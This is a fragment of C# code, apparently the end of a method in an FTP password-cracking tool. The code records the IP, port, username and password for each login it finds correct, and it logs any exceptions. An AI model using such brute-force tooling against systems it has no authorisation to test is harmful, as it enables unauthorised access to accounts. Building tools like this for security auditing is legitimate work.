                                //密码正确的情况下 输出 IP地址 + 端口 + 账号 + 密码
                                Sec_Api.Sec_PassWordCrack_Service_Api.Ftpinfo = ip + username + port + pass;//一次性传出
                                Sec_Api.Sec_PassWordCrack_Service_Api.FtpPassWords.Append(pass);//传出密码
                            }
                        }
                        catch(Exception ex)
                        {
                            string exp = ex.ToString();
                            Sec_Api.Sec_PassWordCrack_Service_Api.FtpExpOptions.Append(exp);
                        }
                    }
                }
            }
            return ftp;
        }
    }
}
